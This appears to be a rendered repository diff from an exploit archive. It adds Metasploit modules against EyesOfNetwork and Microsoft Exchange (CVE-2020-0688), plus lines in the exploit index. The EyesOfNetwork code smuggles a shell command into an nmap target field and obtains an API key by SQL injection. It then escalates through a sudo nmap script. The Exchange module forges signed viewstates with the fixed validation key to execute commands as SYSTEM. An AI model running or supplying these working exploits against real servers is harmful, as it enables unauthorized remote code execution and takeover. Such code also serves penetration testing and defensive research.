|
vprint_status "Creating AutoDiscovery job: #{cmd}"
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri.path, '/lilac/autodiscovery.php'),
|
||||||
|
'cookie' => @cookie,
|
||||||
|
'vars_post' => {
|
||||||
|
'request' => 'autodiscover',
|
||||||
|
'job_name' => 'Internal discovery',
|
||||||
|
'job_description' => 'Internal EON discovery procedure.',
|
||||||
|
'nmap_binary' => nmap_path,
|
||||||
|
'default_template' => '',
|
||||||
|
'target[]' => cmd
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res
|
||||||
|
fail_with Failure::Unreachable, 'Creating AutoDiscovery job failed: Connection failed'
|
||||||
|
end
|
||||||
|
|
||||||
|
unless res.body.include? 'Starting...'
|
||||||
|
fail_with Failure::Unknown, 'Creating AutoDiscovery job failed: Job failed to start'
|
||||||
|
end
|
||||||
|
|
||||||
|
res
|
||||||
|
end
|
||||||
|
|
||||||
|
def delete_autodiscovery_job(job_id)
|
||||||
|
vprint_status "Removing AutoDiscovery job #{job_id} ..."
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri.path, '/lilac/autodiscovery.php'),
|
||||||
|
'cookie' => @cookie,
|
||||||
|
'vars_get' => {
|
||||||
|
id: job_id,
|
||||||
|
delete: 1
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
unless res
|
||||||
|
print_warning "Removing AutoDiscovery job #{job_id} failed: Connection failed"
|
||||||
|
return
|
||||||
|
end
|
||||||
|
res
|
||||||
|
end
|
||||||
|
|
||||||
|
def execute_command(cmd, opts = {})
|
||||||
|
res = create_autodiscovery_job ";#{cmd} #"
|
||||||
|
return unless res
|
||||||
|
|
||||||
|
job_id = res.body.scan(/autodiscovery.php\?id=([\d]+)/).flatten.first
|
||||||
|
|
||||||
|
if job_id.empty?
|
||||||
|
print_warning 'Could not retrieve AutoDiscovery job ID. Manual removal required.'
|
||||||
|
return
|
||||||
|
end
|
||||||
|
delete_autodiscovery_job job_id
|
||||||
|
end
|
||||||
|
|
||||||
|
def cleanup
|
||||||
|
super
|
||||||
|
if @username
|
||||||
|
delete_eon_user @username
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
unless [CheckCode::Detected, CheckCode::Appears].include? check
|
||||||
|
unless datastore['ForceExploit']
|
||||||
|
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
|
||||||
|
end
|
||||||
|
print_warning 'Target does not appear to be vulnerable'
|
||||||
|
end
|
||||||
|
|
||||||
|
@api_user = 'admin'
|
||||||
|
@api_key = generate_api_key
|
||||||
|
print_status "Using generated API key: #{@api_key}"
|
||||||
|
|
||||||
|
@username = rand_text_alphanumeric(8..12)
|
||||||
|
@password = rand_text_alphanumeric(8..12)
|
||||||
|
|
||||||
|
create_res = create_eon_user @username, @password
|
||||||
|
unless verify_api_key(create_res)
|
||||||
|
@api_key = sqli_to_api_key
|
||||||
|
fail_with Failure::NoAccess, 'Failed to obtain valid API key' unless @api_key
|
||||||
|
print_status("Using API key obtained via SQL injection: #{@api_key}")
|
||||||
|
sqli_verify = create_eon_user @username, @password
|
||||||
|
fail_with Failure::NoAccess, 'Failed to obtain valid API with sqli' unless verify_api_key(sqli_verify)
|
||||||
|
end
|
||||||
|
|
||||||
|
admin_group_id = 1
|
||||||
|
login @username, @password
|
||||||
|
unless @cookie.include? 'group_id='
|
||||||
|
@cookie << "; group_id=#{admin_group_id}"
|
||||||
|
end
|
||||||
|
|
||||||
|
nse = Rex::Text.encode_base64("local os=require \"os\" hostrule=function(host) os.execute(\"#{payload.encoded.gsub(/"/, '\"')}\") end action=function() end")
|
||||||
|
nse_path = "/tmp/.#{rand_text_alphanumeric 8..12}"
|
||||||
|
cmd = "echo #{nse} | base64 -d > #{nse_path};sudo #{nmap_path} localhost -sn -script #{nse_path};rm #{nse_path}"
|
||||||
|
print_status "Sending payload (#{cmd.length} bytes) ..."
|
||||||
|
execute_command cmd
|
||||||
|
end
|
||||||
|
end
|
180
exploits/windows/remote/48168.rb
Executable file
180
exploits/windows/remote/48168.rb
Executable file
|
@ -0,0 +1,180 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'bindata'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
# include Msf::Auxiliary::Report
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::CmdStager
|
||||||
|
|
||||||
|
DEFAULT_VIEWSTATE_GENERATOR = 'B97B4E27'
|
||||||
|
VALIDATION_KEY = "\xcb\x27\x21\xab\xda\xf8\xe9\xdc\x51\x6d\x62\x1d\x8b\x8b\xf1\x3a\x2c\x9e\x86\x89\xa2\x53\x03\xbf"
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Exchange Control Panel Viewstate Deserialization',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a .NET serialization vulnerability in the
|
||||||
|
Exchange Control Panel (ECP) web page. The vulnerability is due to
|
||||||
|
Microsoft Exchange Server not randomizing the keys on a
|
||||||
|
per-installation basis resulting in them using the same validationKey
|
||||||
|
and decryptionKey values. With knowledge of these, values an attacker
|
||||||
|
can craft a special viewstate to cause an OS command to be executed
|
||||||
|
by NT_AUTHORITY\SYSTEM using .NET deserialization.
|
||||||
|
},
|
||||||
|
'Author' => 'Spencer McIntyre',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' => [
|
||||||
|
['CVE', '2020-0688'],
|
||||||
|
['URL', 'https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys'],
|
||||||
|
],
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Windows (x86)', { 'Arch' => ARCH_X86 } ],
|
||||||
|
[ 'Windows (x64)', { 'Arch' => ARCH_X64 } ],
|
||||||
|
[ 'Windows (cmd)', { 'Arch' => ARCH_CMD, 'Space' => 450 } ]
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'SSL' => true
|
||||||
|
},
|
||||||
|
'DefaultTarget' => 1,
|
||||||
|
'DisclosureDate' => '2020-02-11',
|
||||||
|
'Notes' =>
|
||||||
|
{
|
||||||
|
'Stability' => [ CRASH_SAFE, ],
|
||||||
|
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
|
||||||
|
'Reliability' => [ REPEATABLE_SESSION, ],
|
||||||
|
}
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
Opt::RPORT(443),
|
||||||
|
OptString.new('TARGETURI', [ true, 'The base path to the web application', '/' ]),
|
||||||
|
OptString.new('USERNAME', [ true, 'Username to authenticate as', '' ]),
|
||||||
|
OptString.new('PASSWORD', [ true, 'The password to authenticate with' ])
|
||||||
|
])
|
||||||
|
|
||||||
|
register_advanced_options([
|
||||||
|
OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]),
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
state = get_request_setup
|
||||||
|
viewstate = state[:viewstate]
|
||||||
|
return CheckCode::Unknown if viewstate.nil?
|
||||||
|
|
||||||
|
viewstate = Rex::Text.decode_base64(viewstate)
|
||||||
|
body = viewstate[0...-20]
|
||||||
|
signature = viewstate[-20..-1]
|
||||||
|
|
||||||
|
unless generate_viewstate_signature(state[:viewstate_generator], state[:session_id], body) == signature
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
# we've validated the signature matches based on the data we have and thus
|
||||||
|
# proven that we are capable of signing a viewstate ourselves
|
||||||
|
CheckCode::Vulnerable
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_viewstate(generator, session_id, cmd)
|
||||||
|
viewstate = ::Msf::Util::DotNetDeserialization.generate(cmd)
|
||||||
|
signature = generate_viewstate_signature(generator, session_id, viewstate)
|
||||||
|
Rex::Text.encode_base64(viewstate + signature)
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_viewstate_signature(generator, session_id, viewstate)
|
||||||
|
mac_key_bytes = Rex::Text.hex_to_raw(generator).unpack('I<').pack('I>')
|
||||||
|
mac_key_bytes << Rex::Text.to_unicode(session_id)
|
||||||
|
OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), VALIDATION_KEY, viewstate + mac_key_bytes)
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
state = get_request_setup
|
||||||
|
|
||||||
|
# the major limit is the max length of a GET request, the command will be
|
||||||
|
# XML escaped and then base64 encoded which both increase the size
|
||||||
|
if target.arch.first == ARCH_CMD
|
||||||
|
execute_command(payload.encoded, opts={state: state})
|
||||||
|
else
|
||||||
|
cmd_target = targets.select { |target| target.arch.include? ARCH_CMD }.first
|
||||||
|
execute_cmdstager({linemax: cmd_target.opts['Space'], delay: datastore['CMDSTAGER::DELAY'], state: state})
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def execute_command(cmd, opts)
|
||||||
|
state = opts[:state]
|
||||||
|
viewstate = generate_viewstate(state[:viewstate_generator], state[:session_id], cmd)
|
||||||
|
5.times do |iteration|
|
||||||
|
# this request *must* be a GET request, can't use POST to use a larger viewstate
|
||||||
|
send_request_cgi({
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'),
|
||||||
|
'cookie' => state[:cookies].join(''),
|
||||||
|
'agent' => state[:user_agent],
|
||||||
|
'vars_get' => {
|
||||||
|
'__VIEWSTATE' => viewstate,
|
||||||
|
'__VIEWSTATEGENERATOR' => state[:viewstate_generator]
|
||||||
|
}
|
||||||
|
})
|
||||||
|
break
|
||||||
|
rescue Rex::ConnectionError, Errno::ECONNRESET => e
|
||||||
|
vprint_warning('Encountered a connection error while sending the command, sleeping before retrying')
|
||||||
|
sleep iteration
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_request_setup
|
||||||
|
# need to use a newer default user-agent than what Metasploit currently provides
|
||||||
|
# see: https://docs.microsoft.com/en-us/microsoft-edge/web-platform/user-agent-string
|
||||||
|
user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.74 Safari/537.36 Edg/79.0.309.43'
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'owa', 'auth.owa'),
|
||||||
|
'method' => 'POST',
|
||||||
|
'agent' => user_agent,
|
||||||
|
'vars_post' => {
|
||||||
|
'password' => datastore['PASSWORD'],
|
||||||
|
'flags' => '4',
|
||||||
|
'destination' => full_uri(normalize_uri(target_uri.path, 'owa')),
|
||||||
|
'username' => datastore['USERNAME']
|
||||||
|
}
|
||||||
|
})
|
||||||
|
fail_with(Failure::Unreachable, 'The initial HTTP request to the server failed') if res.nil?
|
||||||
|
cookies = [res.get_cookies]
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'),
|
||||||
|
'cookie' => res.get_cookies,
|
||||||
|
'agent' => user_agent
|
||||||
|
})
|
||||||
|
fail_with(Failure::UnexpectedReply, 'Failed to get the __VIEWSTATEGENERATOR page') unless res && res.code == 200
|
||||||
|
cookies << res.get_cookies
|
||||||
|
|
||||||
|
viewstate_generator = res.body.scan(/id="__VIEWSTATEGENERATOR"\s+value="([a-fA-F0-9]{8})"/).flatten[0]
|
||||||
|
if viewstate_generator.nil?
|
||||||
|
print_warning("Failed to find the __VIEWSTATEGENERATOR, using the default value: #{DEFAULT_VIEWSTATE_GENERATOR}")
|
||||||
|
viewstate_generator = DEFAULT_VIEWSTATE_GENERATOR
|
||||||
|
else
|
||||||
|
vprint_status("Recovered the __VIEWSTATEGENERATOR: #{viewstate_generator}")
|
||||||
|
end
|
||||||
|
|
||||||
|
viewstate = res.body.scan(/id="__VIEWSTATE"\s+value="([a-zA-Z0-9\+\/]+={0,2})"/).flatten[0]
|
||||||
|
if viewstate.nil?
|
||||||
|
vprint_warning('Failed to find the __VIEWSTATE value')
|
||||||
|
end
|
||||||
|
|
||||||
|
session_id = res.get_cookies.scan(/ASP\.NET_SessionId=([\w\-]+);/).flatten[0]
|
||||||
|
if session_id.nil?
|
||||||
|
fail_with(Failure::UnexpectedReply, 'Failed to get the ASP.NET_SessionId from the response cookies')
|
||||||
|
end
|
||||||
|
vprint_status("Recovered the ASP.NET_SessionID: #{session_id}")
|
||||||
|
|
||||||
|
{user_agent: user_agent, cookies: cookies, viewstate: viewstate, viewstate_generator: viewstate_generator, session_id: session_id}
|
||||||
|
end
|
||||||
|
end
|
|
@ -18022,6 +18022,9 @@ id,file,description,date,author,type,platform,port
|
||||||
48140,exploits/openbsd/remote/48140.c,"OpenSMTPD < 6.6.3p1 - Local Privilege Escalation + Remote Code Execution",2020-02-26,"Qualys Corporation",remote,openbsd,
|
48140,exploits/openbsd/remote/48140.c,"OpenSMTPD < 6.6.3p1 - Local Privilege Escalation + Remote Code Execution",2020-02-26,"Qualys Corporation",remote,openbsd,
|
||||||
48153,exploits/windows/remote/48153.py,"Microsoft Exchange 2019 15.2.221.12 - Authenticated Remote Code Execution",2020-03-02,Photubias,remote,windows,
|
48153,exploits/windows/remote/48153.py,"Microsoft Exchange 2019 15.2.221.12 - Authenticated Remote Code Execution",2020-03-02,Photubias,remote,windows,
|
||||||
48156,exploits/windows/remote/48156.c,"CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow",2020-03-02,wetw0rk,remote,windows,
|
48156,exploits/windows/remote/48156.c,"CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow",2020-03-02,wetw0rk,remote,windows,
|
||||||
|
48168,exploits/windows/remote/48168.rb,"Exchange Control Panel - Viewstate Deserialization (Metasploit)",2020-03-05,Metasploit,remote,windows,443
|
||||||
|
48169,exploits/multiple/remote/48169.rb,"EyesOfNetwork - AutoDiscovery Target Command Execution (Metasploit)",2020-03-05,Metasploit,remote,multiple,
|
||||||
|
48170,exploits/linux/remote/48170.py,"netkit-telnet-0.17 telnetd (Fedora 31) - 'BraveStarr' Remote Code Execution",2020-03-02,Immunity,remote,linux,
|
||||||
6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
|
6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
|
||||||
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
|
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
|
||||||
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
|
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
|
||||||
|
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue